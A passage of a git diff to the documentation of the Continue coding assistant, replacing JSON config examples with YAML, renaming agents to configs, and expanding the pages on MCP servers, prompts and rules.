Reference the most relevant snippets from your codebase.
-- YAML
-- JSON
-
config.yaml
```
@@ -193,40 +118,22 @@ context:
- provider: codebase
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "codebase" }] }
-```
-
Read more about indexing and retrieval [here](/customize/overview#codebase-context).
### @Folder Context Provider – Reference Code from a Specific Folder
Uses the same retrieval mechanism as `@Codebase`, but only on a single folder.
-- YAML
-- JSON
-
config.yaml
```
context: - provider: folder
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "folder" }] }
-```
-
### @Search Context Provider – Reference Code Search Results
Reference the results of codebase search, just like the results you would get from VS Code search.
-- YAML
-- JSON
-
config.yaml
```
@@ -236,21 +143,12 @@ context:
maxResults: 100 # optional, defaults to 200
```
-config.json
-
-```json
-{ "contextProviders": [ { "name": "search", "params": { "maxResults": 100 // optional, defaults to 200 } } ]}
-```
-
This context provider is powered by [ripgrep](https://github.com/BurntSushi/ripgrep).
### @Url Context Provider – Reference Content from a URL
Reference the markdown converted contents of a given URL.
-- YAML
-- JSON
-
config.yaml
```
@@ -258,19 +156,10 @@ context:
- provider: url
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "url" }] }
-```
-
### @Clipboard Context Provider – Reference Clipboard Items
Reference recent clipboard items
-- YAML
-- JSON
-
config.yaml
```
@@ -278,19 +167,10 @@ context:
- provider: clipboard
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "clipboard" }] }
-```
-
### @Tree Context Provider – Reference Workspace File Structure
Reference the structure of your current workspace.
-- YAML
-- JSON
-
config.yaml
```
@@ -298,19 +178,10 @@ context:
- provider: tree
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "tree" }] }
-```
-
### @Problems Context Provider – Reference Problems in the Current File
Get Problems from the current file.
-- YAML
-- JSON
-
config.yaml
```
@@ -318,19 +189,10 @@ context:
- provider: problems
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "problems" }] }
-```
-
### @Debugger Context Provider – Reference Debugger Local Variables
Reference the contents of the local variables in the debugger. Currently only available in VS Code.
-- YAML
-- JSON
-
config.yaml
```
@@ -340,12 +202,6 @@ context:
stackDepth: 3
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "debugger", "params": { "stackDepth": 3 } }] }
-```
-
Uses the top _n_ levels (defaulting to 3) of the call stack for that thread.
### @Repository Map Context Provider – Reference Codebase Outline and Signatures
@@ -354,9 +210,6 @@ Reference the outline of your codebase. By default, signatures are included alon
`includeSignatures` params can be set to false to exclude signatures. This could be necessary for large codebases and/or to reduce context size significantly. Signatures will not be included if indexing is disabled.
-- YAML
-- JSON
-
config.yaml
```
@@ -366,12 +219,6 @@ context:
includeSignatures: false # default true
```
-config.json
-
-```json
-{ "contextProviders": [ { "name": "repo-map", "params": { "includeSignatures": false // default true } } ]}
-```
-
Provides a list of files and the call signatures of top-level classes, functions, and methods in those files. This helps the model better understand how a particular piece of code relates to the rest of the codebase.
In the submenu that appears, you can select either `Entire codebase`, or specify a subfolder to generate the repository map from.
@@ -382,9 +229,6 @@ This context provider is inspired by [Aider's repository map](https://aider.chat
Reference the architecture and platform of your current operating system.
-- YAML
-- JSON
-
config.yaml
```
@@ -392,19 +236,10 @@ context:
- provider: os
```
-config.json
-
-```json
-{ "contextProviders": [{ "name": "os" }] }
-```
-
### Using the Model Context Protocol (MCP) in Continue
The [Model Context Protocol](https://modelcontextprotocol.io/introduction) is a standard proposed by Anthropic to unify prompts, context, and tool use. Continue supports any MCP server with the MCP context provider. Read their [quickstart](https://modelcontextprotocol.io/quickstart) to learn how to set up a local server and then set up your configuration like this:
-- YAML
-- JSON
-
config.yaml
```
@@ -417,24 +252,6 @@ mcpServers:
- /Users/NAME/test.db
```
-config.json
-
-```json
-{
- "experimental": {
- "modelContextProtocolServers": [
- {
- "transport": {
- "type": "stdio",
- "command": "uvx",
- "args": ["mcp-server-sqlite", "--db-path", "/Users/NAME/test.db"]
- }
- }
- ]
- }
-}
-```
-
You'll then be able to type "@" and see "MCP" in the context providers dropdown.
### How to Request a New Context Provider in Continue
diff --git a/docs/customize/deep-dives/configuration.mdx b/docs/customize/deep-dives/configuration.mdx
index 7b3a302a9..694b75430 100644
--- a/docs/customize/deep-dives/configuration.mdx
+++ b/docs/customize/deep-dives/configuration.mdx
@@ -1,26 +1,26 @@
---
-title: "How to Configure Continue Agents"
-description: Learn how to access and manage Continue agent configurations through Hub or local YAML files
+title: "How to Configure Continue"
+description: Learn how to access and manage Continue configurations through Hub or local YAML files
keywords: [config, settings, customize]
-sidebarTitle: "Agent Configuration"
+sidebarTitle: "Configuration"
---
-You can easily access your agent configuration from the Continue Chat sidebar. Open the sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon.
+You can easily access your configuration from the Continue Chat sidebar. Open the sidebar by pressing cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains) and click the Agent selector above the main chat input. Then, you can hover over an agent and click the `new window` (hub agents) or `gear` (local agents) icon.
-
+
-## How to Manage Hub Agents
+## How to Manage Hub Configs
-Hub Agents can be managed in [the Hub](https://hub.continue.dev). See [Editing an Agent](../../hub/agents/edit-an-agent.md)
+ Hub Configs can be managed in [the Hub](https://hub.continue.dev). See [Editing a config](/hub/configs/edit-a-config)
-## How to Configure Local Agents with YAML
+## How to Configure Local Configs with YAML
Local user-level configuration is stored and can be edited in your home directory in `config.yaml`:
- `~/.continue/config.yaml` (MacOS / Linux)
- `%USERPROFILE%\.continue\config.yaml` (Windows)
-To open this `config.yaml`, you need to open the agents dropdown in the top-right portion of the chat input. On that dropdown beside the "Local Agent" option, select the cog icon. It will open the local `config.yaml`.
+To open this `config.yaml`, you need to open the configs dropdown in the top-right portion of the chat input. On that dropdown beside the "Local Config" option, select the cog icon. It will open the local `config.yaml`.

@@ -31,7 +31,7 @@ See the full reference for `config.yaml` [here](/reference).
## Legacy Configuration Methods (Deprecated)
- View the `config.json` migration guide [here](../yaml-migration)
+ View the `config.json` migration guide [here](/reference/yaml-migration)
- [`config.json`](/reference) - The original configuration format which is stored in a file at the same location as `config.yaml`
@@ -63,7 +63,7 @@ Example
The `slashCommands` array shown below is deprecated. For creating custom slash
- commands, use [prompt files](./slash-commands) instead.
+ commands, use [prompt files](./prompts) instead.
```ts title="config.ts"
diff --git a/docs/customize/deep-dives/custom-providers.mdx b/docs/customize/deep-dives/custom-providers.mdx
index dc60dc560..9adc078ab 100644
--- a/docs/customize/deep-dives/custom-providers.mdx
+++ b/docs/customize/deep-dives/custom-providers.mdx
@@ -15,251 +15,95 @@ You can add any built-in context-providers in your config file as shown below:
Reference any file in your current workspace.
-
-
- ```yaml config.yaml
- context:
- - provider: file
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "file"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: file
+```
### `@Code`
Reference specific functions or classes from throughout your project.
-
-
- ```yaml config.yaml
- context:
- - provider: code
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "code"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: code
+```
### `@Git Diff`
Reference all of the changes you've made to your current branch. This is useful if you want to summarize what you've done or ask for a general review of your work before committing.
-
-
- ```yaml config.yaml
- context:
- - provider: diff
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "diff"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: diff
+```
### `@Current File`
Reference the currently open file.
-
-
- ```yaml config.yaml
- context:
- - provider: currentFile
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "currentFile"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: currentFile
+```
### `@Terminal`
Reference the last command you ran in your IDE's terminal and its output.
-
-
- ```yaml config.yaml
- context:
- - provider: terminal
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "terminal"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: terminal
+```
### `@Open`
Reference the contents of all of your open files. Set `onlyPinned` to `true` to only reference pinned files.
-
-
- ```yaml config.yaml
- context:
- - provider: open
- params:
- onlyPinned: true
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "open",
- "params": {
- "onlyPinned": true
- }
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: open
+ params:
+ onlyPinned: true
+```
### `@Clipboard`
Reference recent clipboard items
-
-
- ```yaml config.yaml
- context:
- - provider: clipboard
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "clipboard"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: clipboard
+```
### `@Tree`
Reference the structure of your current workspace.
-
-
- ```yaml config.yaml
- context:
- - provider: tree
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "tree"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: tree
+```
### `@Problems`
Get Problems from the current file.
-
-
- ```yaml config.yaml
- context:
- - provider: problems
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "problems"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: problems
+```
### `@Debugger`
Reference the contents of the local variables in the debugger. Currently only available in VS Code.
-
-
- ```yaml config.yaml
- context:
- - provider: debugger
- params:
- stackDepth: 3
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "debugger",
- "params": {
- "stackDepth": 3
- }
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: debugger
+ params:
+ stackDepth: 3
+```
Uses the top _n_ levels (defaulting to 3) of the call stack for that thread.
@@ -269,30 +113,12 @@ Reference the outline of your codebase. By default, signatures are included alon
`includeSignatures` params can be set to false to exclude signatures. This could be necessary for large codebases and/or to reduce context size significantly. Signatures will not be included if indexing is disabled.
-
-
- ```yaml config.yaml
- context:
- - provider: repo-map
- params:
- includeSignatures: false # default true
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "repo-map",
- "params": {
- "includeSignatures": false // default true
- }
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: repo-map
+ params:
+ includeSignatures: false # default true
+```
Provides a list of files and the call signatures of top-level classes, functions, and methods in those files. This helps the model better understand how a particular piece of code relates to the rest of the codebase.
@@ -304,56 +130,23 @@ This context provider is inpsired by [Aider's repository map](https://aider.chat
Reference the architecture and platform of your current operating system.
-
-
- ```yaml config.yaml
- context:
- - provider: os
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "os"
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: os
+```
### `@HTTP`
The HttpContextProvider makes a POST request to the url passed in the configuration. The server must return 200 OK with a ContextItem object or an array of ContextItems.
-
-
- ```yaml config.yaml
- context:
- - provider: http
- params:
- url: "https://api.example.com/v1/users"
- headers:
- - Authorization: "Bearer "
- ```
-
-
- ```json config.json
- {
- "contextProviders": [
- {
- "name": "http",
- "params": {
- "url": "https://api.example.com/v1/users"
- }
- }
- ]
- }
- ```
-
-
+```yaml config.yaml
+context:
+ - provider: http
+ params:
+ url: "https://api.example.com/v1/users"
+ headers:
+ - Authorization: "Bearer "
+```
The receiving URL should expect to receive the following parameters:
@@ -375,36 +168,15 @@ Response
The [Model Context Protocol](https://modelcontextprotocol.io/introduction) is a standard proposed by Anthropic to unify prompts, context, and tool use. Continue supports any MCP server with the MCP context provider. Read their [quickstart](https://modelcontextprotocol.io/quickstart) to learn how to set up a local server and then set up your configuration like this:
-
-
- ```yaml config.yaml
- mcpServers:
- - name: My MCP Server
- command: uvx
- args:
- - mcp-server-sqlite
- - --db-path
- - /Users/NAME/test.db
- ```
-
-
- ```json config.json
- {
- "experimental": {
- "modelContextProtocolServers": [
- {
- "transport": {
- "type": "stdio",
- "command": "uvx",
- "args": ["mcp-server-sqlite", "--db-path", "/Users/NAME/test.db"]
- }
- }
- ]
- }
- }
- ```
-
-
+```yaml config.yaml
+mcpServers:
+ - name: My MCP Server
+ command: uvx
+ args:
+ - mcp-server-sqlite
+ - --db-path
+ - /Users/NAME/test.db
+```
You'll then be able to type "@" and see "MCP" in the context providers dropdown.
diff --git a/docs/customize/deep-dives/mcp.mdx b/docs/customize/deep-dives/mcp.mdx
index 074448104..b804ca4c1 100644
--- a/docs/customize/deep-dives/mcp.mdx
+++ b/docs/customize/deep-dives/mcp.mdx
@@ -19,19 +19,19 @@ that can be set up with custom tools.
Currently custom tools can be configured using the Model Context
Protocol standard to unify prompts, context, and tool use.
-MCP Servers can be added to hub Agents using `mcpServers` blocks. You can
-explore available MCP server blocks
+MCP Servers can be added to hub configs using `mcpServers`. You can
+explore available MCP servers
[here](https://hub.continue.dev/explore/mcp).
MCP can only be used in the **agent** mode.
## Quick Start: How to Set Up Your First MCP Server
-Below is a quick example of setting up a new MCP server for use in your agent:
+Below is a quick example of setting up a new MCP server for use in your config:
1. Create a folder called `.continue/mcpServers` at the top level of your workspace
-2. Add a file called `playwright-mcp.yaml` to this folder.
-3. Write the following contents to `playwright-mcp.yaml` and save.
+2. Add a file called `playwright-mcp.yaml` to this folder
+3. Write the following contents and save
```yaml title=".continue/mcpServers/playwright-mcp.yaml"
name: Playwright mcpServer
@@ -56,54 +56,44 @@ The result will be a generated file called `hn.txt` in the current working direc
## How to Set Up Continue Documentation Search with MCP
-You can set up an MCP server to search the Continue documentation directly from your agent. This is particularly useful for getting help with Continue configuration and features.
+You can set up an MCP server to search the Continue documentation directly from your config. This is particularly useful for getting help with Continue configuration and features.
For complete setup instructions, troubleshooting, and usage examples, see the [Continue MCP Reference](/reference/continue-mcp).
+## Using JSON MCP Format from Claude, Cursor, Cline, etc
+
+
+If you're coming from another tool that uses JSON MCP format configuration files (like Claude Desktop, Cursor, or Cline), you can copy those JSON config files directly into your `.continue/mcpServers/` directory (note the plural "Servers") and Continue will automatically pick them up.
+
+For example, place your JSON MCP config file at `.continue/mcpServers/mcp.json` in your workspace.
+
+
## How to Configure MCP Servers
To set up your own MCP server, read the [MCP
quickstart](https://modelcontextprotocol.io/quickstart) and then [create an
-`mcpServers`
-block](https://hub.continue.dev/new?type=block&blockType=mcpServers) or add a local MCP
+`mcpServers`](https://hub.continue.dev/new?type=block&blockType=mcpServers) or add a local MCP
server block to your [config file](./configuration.md):
-
-
- ```yaml title="config.yaml"
- mcpServers:
- - name: SQLite MCP
- command: npx
- args:
- - "-y"
- - "mcp-sqlite"
- - "/path/to/your/database.db"
+```yaml title="config.yaml"
+# ...
+mcpServers:
+ - name: SQLite MCP
+ command: npx
+ args:
+ - "-y"
+ - "mcp-sqlite"
+ - "/path/to/your/database.db"
+# ...
+```
-````
-
-
-```json title="config.json"
-{
- "experimental": {
- "modelContextProtocolServers": [
- {
- "transport": {
- "type": "stdio",
- "command": "uvx",
- "args": ["mcp-server-sqlite", "--db-path", "/path/to/your/database.db"]
- }
- }
- ]
- }
-}
-````
-
-
-
+
+When creating a standalone block file in `.continue/mcpServers/`, remember to include the required metadata fields (`name`, `version`, `schema`) as shown in the Quick Start example above.
+
### How to Configure MCP Server Properties
-MCP blocks follow the established syntax for blocks, with a few additional properties specific to MCP servers.
+MCP components include a few additional properties specific to MCP servers.
- `name`: A display name for the MCP server.
- `type`: The type of the MCP server: `sse`, `stdio`, `streamable-http`
@@ -120,10 +110,12 @@ MCP now supports remote server connections through HTTP-based transports, expand
For real-time streaming communication, use the SSE transport:
```yaml
+# ...
mcpServers:
- name: Name
type: sse
url: https://....
+# ...
```
#### How to Use Standard Input/Output (`stdio`)
@@ -131,6 +123,7 @@ mcpServers:
For local MCP servers that communicate via standard input and output:
```yaml
+# ...
mcpServers:
- name: Name
type: stdio
@@ -138,6 +131,7 @@ mcpServers:
args:
- "@modelcontextprotocol/server-sqlite"
- "/path/to/your/database.db"
+# ...
```
#### How to Use Streamable HTTP Transport
@@ -145,10 +139,12 @@ mcpServers:
For standard HTTP-based communication with streaming capabilities:
```yaml
+# ...
mcpServers:
- name: Name
type: streamable-http
url: https://....
+# ...
```
These remote transport options allow you to connect to MCP servers hosted on remote infrastructure, enabling more flexible deployment architectures and shared server resources across multiple clients.
@@ -161,6 +157,7 @@ With some MCP servers you will need to use API keys or other secrets. You can le
as well as access hosted secrets in the Continue Hub. To leverage Hub secrets, you can use the `inputs` property in your MCP env block instead of `secrets`.
```yaml
+# ...
mcpServers:
- name: Supabase MCP
command: npx
@@ -178,4 +175,5 @@ mcpServers:
- "@modelcontextprotocol/server-github"
env:
GITHUB_PERSONAL_ACCESS_TOKEN: ${{ secrets.GITHUB_PERSONAL_ACCESS_TOKEN }}
+# ...
```
diff --git a/docs/customize/deep-dives/model-capabilities.mdx b/docs/customize/deep-dives/model-capabilities.mdx
index 661ce9c5e..eca29cf04 100644
--- a/docs/customize/deep-dives/model-capabilities.mdx
+++ b/docs/customize/deep-dives/model-capabilities.mdx
@@ -210,9 +210,14 @@ This matrix shows which models support tool use and image input capabilities. Co
### xAI
-| Model | Tool Use | Image Input | Context Window |
-| :----- | -------- | ----------- | -------------- |
-| Grok 4 | Yes | Yes | 128k |
+| Model | Tool Use | Image Input | Context Window |
+| :------------------------ | -------- | ----------- | -------------- |
+| Grok Code Fast 1 | Yes | Yes | 256k |
+| Grok 4 Fast Reasoning | Yes | Yes | 2M |
+| Grok 4 Fast Non-Reasoning | Yes | Yes | 2M |
+| Grok 4 | Yes | Yes | 256k |
+| Grok 3 | Yes | Yes | 131k |
+| Grok 3 Mini | Yes | Yes | 131k |
### Moonshot AI
diff --git a/docs/customize/deep-dives/prompts.mdx b/docs/customize/deep-dives/prompts.mdx
index d80466da7..204f5bab1 100644
--- a/docs/customize/deep-dives/prompts.mdx
+++ b/docs/customize/deep-dives/prompts.mdx
@@ -1,62 +1,106 @@
---
-title: "Creating Custom Prompts in Continue"
-description: "Learn how to create reusable prompt files in Continue to streamline repetitive tasks, including examples for code reviews, security checks, and entity generation"
+title: "How to Create and Manage Prompts in Continue"
+description: "Prompts are used to kick off tasks for Agent mode, Plan mode, and Chat mode"
+keywords: [prompts, context, slash command]
+sidebarTitle: "Prompts"
---
-Prompts are reusable instructions that can be referenced at any time during chat. They are especially useful as context for repetitive and/or complex tasks.
+Prompts are included as user messages and are especially useful as instructions for repetitive and/or complex tasks.
-
- Prompts were previously defined in a `.prompt` file format, but for
- consistency we now recommend using the same Markdown format as
- [rules](./rules) and adding `alwaysApply: false` to the frontmatter so
- that they are manually triggered.
-
+## Slash commands
-## Quick Start: How to Create Your First Prompt File
+By setting `invokable` to `true`, you make the markdown file a prompt, which will be available when you type / in Chat, Plan, and Agent mode.
-Below is a quick example of setting up a prompt file:
-
-1. Create a folder called `.continue/rules` at the top level of your workspace
-2. Add a file called `review-prompt.md` to this folder.
-3. Write the following contents to `review-prompt.md` and save.
-
-```md title="review-prompt.md"
+```md title="explain-invokable.md"
---
-name: Redux best practices review
-alwaysApply: false
+name: Explain invokable
+description: Explains what happens when you set invokable to true
+invokable: true
---
-Review the currently open file for adherence to Redux best practices, as explained in their style guide at https://redux.js.org/style-guide/.
+Explain that when `invokable` is set to `true`, a slash command becomes available in the IDE extensions and CLI
```
-Now to use this prompt, you can open Chat, type /, select the prompt, and type out any additional instructions you'd like to add.
+These slash commands can be combined with other instructions, including highlighted code, to provide additional context.
-## Example Prompt Templates for Common Use Cases
+## Example: `Create Supabase functions` prompt
-Below are more examples to get you started. You can also visit the Hub to [explore prompts](https://hub.continue.dev/explore/prompts) or [create your own](https://hub.continue.dev/new?type=block&blockType=prompts).
+Here is a prompt that generates high-quality PostgreSQL functions that adhere to best practices:
-### How to Create a Security Review Prompt
-
-```md title="security-review.md"
+```md title="supabase-create-functions.md"
---
-name: Security best practices review
-alwaysApply: false
+name: Create Supabase functions
+description: Guidelines for writing Supabase database functions
+invokable: true
---
-Review the changes in the current git diff for these security best practices:
+# Database: Create functions
-- Does the architecture follow security-by-design principles?
-- Are there potential security vulnerabilities in the system design?
-- Is sensitive data handled appropriately throughout the lifecycle?
+You're a Supabase Postgres expert in writing database functions. Generate **high-quality PostgreSQL functions** that adhere to the following best practices:
+
+## General Guidelines
+
+1. **Default to `SECURITY INVOKER`:**
+
+ - Functions should run with the permissions of the user invoking the function, ensuring safer access control.
+ - Use `SECURITY DEFINER` only when explicitly required and explain the rationale.
+
+2. **Set the `search_path` Configuration Parameter:**
+
+ - Always set `search_path` to an empty string (`set search_path = '';`).
+ - This avoids unexpected behavior and security risks caused by resolving object references in untrusted or unintended schemas.
+ - Use fully qualified names (e.g., `schema_name.table_name`) for all database objects referenced within the function.
+
+3. **Adhere to SQL Standards and Validation:**
+ - Ensure all queries within the function are valid PostgreSQL SQL queries and compatible with the specified context (ie. Supabase).
+
+...
```
-### How to Create a Prompt That References Existing Files
+You can read the rest of the `Create Supabase functions` prompt [here](http://hub.continue.dev/supabase/create-functions)
-```md title="typeorm-entity-generator.md"
----
-name: Generate a new TypeORM entity
-alwaysApply: false
----
+If you are using a local `config.yaml`, you can add it to your config like this:
-Referencing `src/db/dataSource.ts` and `src/db/entity/SampleEntity.ts`, generate a new TypeORM entity based on the following requirements:
+```md title="config.yaml"
+...
+
+prompts:
+ - uses: supabase/create-functions
+
+...
```
+
+If you are using Continue Hub, you can add it to your config by selecting "Use Rule" [here](https://hub.continue.dev/supabase/create-functions)
+
+To use this prompt, you can open Chat / Agent / Edit, type /, select the prompt, and type out any additional instructions you'd like to add.
+
+## Using a prompt with `cn (TUI mode)`
+
+You can run this command to start [cn](../../guides/cli) with the [Create Supabase functions](http://hub.continue.dev/supabase/create-functions) prompt.
+
+```
+cn --prompt supabase/create-functions "I need a function that checks for the health status"
+```
+Alternatively, you can start [cn](../../guides/cli) and then type / to manually invoke the prompt yourself.
+
+## Using a prompt to kick off a Continuous AI workflow with `cn (Headless mode)
+
+You can kick off Continuous AI workflows using a prompt with [cn](../../guides/cli) by adding the `-p` flag.
+
+For example, say you are building a SaaS application and must repeatedly create custom Supabase validation functions for each new feature that accepts user input.
+
+These functions require you to interpret business requirements, implement complex cross-table logic (like checking user permissions, tier limits, and time-based restrictions), and make judgment calls about edge cases.
+
+Each function is unique enough that it can't be templated or scripted. This is where kicking off a Continuous AI workflow to get you started can be quite helpful.
+
+Here is a command that you could run whenever you have a new feature:
+
+```
+ cn -p --prompt supabase/create-functions "I need a function for the new feature on my current branch similar to my existing database functions"
+```
+
+You can see the entire `Create Supabase functions` prompt [here](http://hub.continue.dev/supabase/create-functions)
+
+When you run this workflow, [cn](../../guides/cli) will checkout your current branch, explore the new and existing code, and then draft a function for you.
+
+You will then be able to review the implementation and improve it before you merge the new feature.
\ No newline at end of file
diff --git a/docs/customize/deep-dives/rules.mdx b/docs/customize/deep-dives/rules.mdx
index f2dd04166..d897edab4 100644
--- a/docs/customize/deep-dives/rules.mdx
+++ b/docs/customize/deep-dives/rules.mdx
@@ -1,11 +1,11 @@
---
title: "How to Create and Manage Rules in Continue"
-description: "Rules are used to provide instructions to the model for Agent, Chat, and Edit requests."
-keywords: [rules, .continuerules, system, prompt, message]
+description: "Rules are used to provide system message instructions to the model for Agent mode, Chat mode, and Edit mode requests"
+keywords: [rules, system, prompt, message]
sidebarTitle: "Rules"
---
-Rules provide instructions to the model for [Agent](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests.
+Rules provide instructions to the model for [Agent mode](../../ide-extensions/agent/quick-start), [Chat](../../ide-extensions/chat/quick-start), and [Edit](../../ide-extensions/edit/quick-start) requests.
Rules are not included in [autocomplete](./autocomplete) or
@@ -20,6 +20,42 @@ You can view the current rules by clicking the pen icon above the main toolbar:
To form the system message, rules are joined with new lines, in the order they appear in the toolbar. This includes the base chat system message ([see below](#how-to-customize-chat-system-message)).
+## Understanding Hub vs Local Rules Integration
+
+
+**Important:** Rules created in different locations behave differently and have different synchronization patterns.
+
+
+Continue supports two types of rules with different behaviors:
+
+
+
+- **Location**: `.continue/rules` folder in your workspace
+- **Visibility**: Automatically visible when using Hub assistants
+- **Creation**: Add rules button in VSCode or manual file creation
+- **File Management**: Creates actual `.md` files you can edit directly
+
+
+
+- **Location**: Stored on Continue Hub, referenced in config.yaml
+- **Visibility**: Only appear when referenced in assistant configuration
+- **Creation**: Created directly on Hub or copied from local rules
+- **File Management**: No local files created, managed through Hub interface
+
+
+
+### How Rules Are Applied
+
+When using Continue, rules are loaded in this order:
+1. **Hub assistant rules** (if using a Hub-based assistant)
+2. **Referenced Hub rules** (via `uses:` in config.yaml)
+3. **Local workspace rules** (from `.continue/rules` folder)
+4. **Global rules** (from `~/.continue/rules` folder)
+
+
+**TL;DR**: Local rules show up automatically when using Hub assistants. Hub rules show up automatically when referenced in your config.
+
+
## Quick Start: How to Create Your First Rule File
Below is a quick example of setting up a new rule file:
@@ -40,22 +76,56 @@ Now test your rules by asking a question about a file in chat.

-## How to Create Rules Blocks
+## How to Create Rules
-Rules can be added locally using the "Add Rules" button while viewing the Local Agent's rules.
+### Creating Local Rules
+
+Rules can be added locally using the "Add Rules" button.

-**Automatically create local rule blocks**: When in Agent mode, you can prompt the agent to create a rule for you using the `create_rule_block` tool if enabled.
+**Automatically create local rules**: When in Agent mode, you can prompt the agent to create a rule for you using the `create_rule_block` tool if enabled.
For example, you can say "Create a rule for this", and a rule will be created for you in `.continue/rules` based on your conversation.
-
-Rules can also be added to an Agent on the Continue Hub.
+### Creating Hub Rules
-Explore available rules [here](https://hub.continue.dev), or [create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub.
+Rules can also be created and managed on the Continue Hub:
+
+1. **Browse existing rules**: [Explore available rules](https://hub.continue.dev/explore?type=rules)
+2. **Create new rules**: [Create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub
+3. **Copy from local rules**: Copy/paste content from your `.continue/rules` files to create Hub rules
+
+### Working Between Hub and Local Rules
+
+
+
+To use Hub rules in your local setup:
+
+1. Reference them in your `config.yaml`:
+ ```yaml
+ rules:
+ - uses: username/my-hub-rule
+ ```
+2. The rule will automatically appear in your rules toolbar
+3. **Note**: No local file is created - the rule exists only on the Hub
+
+
+
+To move local rules to the Hub:
+
+1. Copy the content from your `.continue/rules/rule-name.md` file
+2. Go to [Create new rule](https://hub.continue.dev/new?type=block&blockType=rules)
+3. Paste the content and configure the rule
+4. Optionally, remove the local file and reference the Hub rule in your config
+
+
+**Current Limitation**: There's no automatic sync from local to Hub. You must manually copy/paste rule content.
+
+
+
### How to Configure Rule Properties and Syntax
@@ -65,7 +135,7 @@ Explore available rules [here](https://hub.continue.dev), or [create your own](h
recommend Markdown.
-Rules blocks can be simple text, written in YAML configuration files, or as Markdown (`.md`) files. They can have the following properties:
+Rules can be simple text, written in YAML configuration files, or as Markdown (`.md`) files. They can have the following properties:
- `name` (**required** for YAML): A display name/title for the rule
- `globs` (optional): When files are provided as context that match this glob pattern, the rule will be included. This can be either a single pattern (e.g., `"**/*.{ts,tsx}"`) or an array of patterns (e.g., `["src/**/*.ts", "tests/**/*.ts"]`).
@@ -150,19 +220,46 @@ globs: ["**/*.ts", "**/*.tsx"]
- modularize components into smaller, reusable pieces
```
+## Troubleshooting Rules
+
+### Issue: Rules Created in Different Places Don't Sync
+
+**Problem**: You created rules in the Hub but don't see them in VSCode, or vice versa.
+
+**Solution**:
+- **Hub rules** only appear when referenced in your config.yaml using the `uses:` syntax
+- **Local rules** automatically appear when using Hub assistants
+- There's currently no automatic bidirectional sync
+
+### Issue: "Edit" Links Point to Wrong Location
+
+**Problem**: When you click "Edit" on a rule in VSCode, it tries to open the Hub even though the rule is local, or shows an incorrect URL.
+
+**Root Cause**: This happens when you have a mix of local and Hub rules, and Continue can't properly determine where each rule originates.
+
+**Workaround**:
+1. **For local rules**: Navigate directly to `.continue/rules/` folder and edit the `.md` file
+2. **For Hub rules**: Go directly to your assistant page on [Continue Hub](https://hub.continue.dev) and edit from there
+3. Keep track of which rules are local vs Hub-based to avoid confusion
+
+
+**Known Issue**: This link accuracy problem is tracked in [Linear issue CON-3084](https://linear.app/continue/issue/CON-3084) and will be fixed in a future update.
+
+
+### Issue: Rules Don't Appear in Assistant
+
+**Problem**: Your rules exist but don't show up in the rules toolbar.
+
+**Check These**:
+1. **File location**: Ensure local rules are in `.continue/rules/` (not `.continue/rule/`)
+2. **File format**: Rules should be `.md` files with proper YAML frontmatter
+3. **Config reference**: Hub rules must be referenced in `config.yaml`
+4. **Assistant type**: Ensure you're using the correct assistant (local vs Hub)
+
### How to Customize Chat System Message
-Continue includes a simple default system message for [Agent](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output.
+Continue includes a simple default system message for [Agent mode](../../ide-extensions/agent/quick-start) and [Chat](../../ide-extensions/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output.
This can be viewed in the rules section of the toolbar (see above), or in the source code [here](https://github.com/continuedev/continue/blob/main/core/llm/constructMessages.ts#L4).
Advanced users can override this system message for a specific model if needed by using `chatOptions.baseSystemMessage`. See the [`config.yaml` reference](/reference#models).
-
-### Legacy: .continuerules File (Deprecated)
-
-
- `.continuerules` will be deprecated in a future release. Please use the
- `.continue/rules` folder instead.
-
-
-You can create project-specific rules by adding a `.continuerules` file to the root of your project. This file is raw text and its full contents will be used as rules.
diff --git a/docs/customize/deep-dives/rules.mdx.backup b/docs/customize/deep-dives/rules.mdx.backup
index 5338df40d..e7e13b010 100644
--- a/docs/customize/deep-dives/rules.mdx.backup
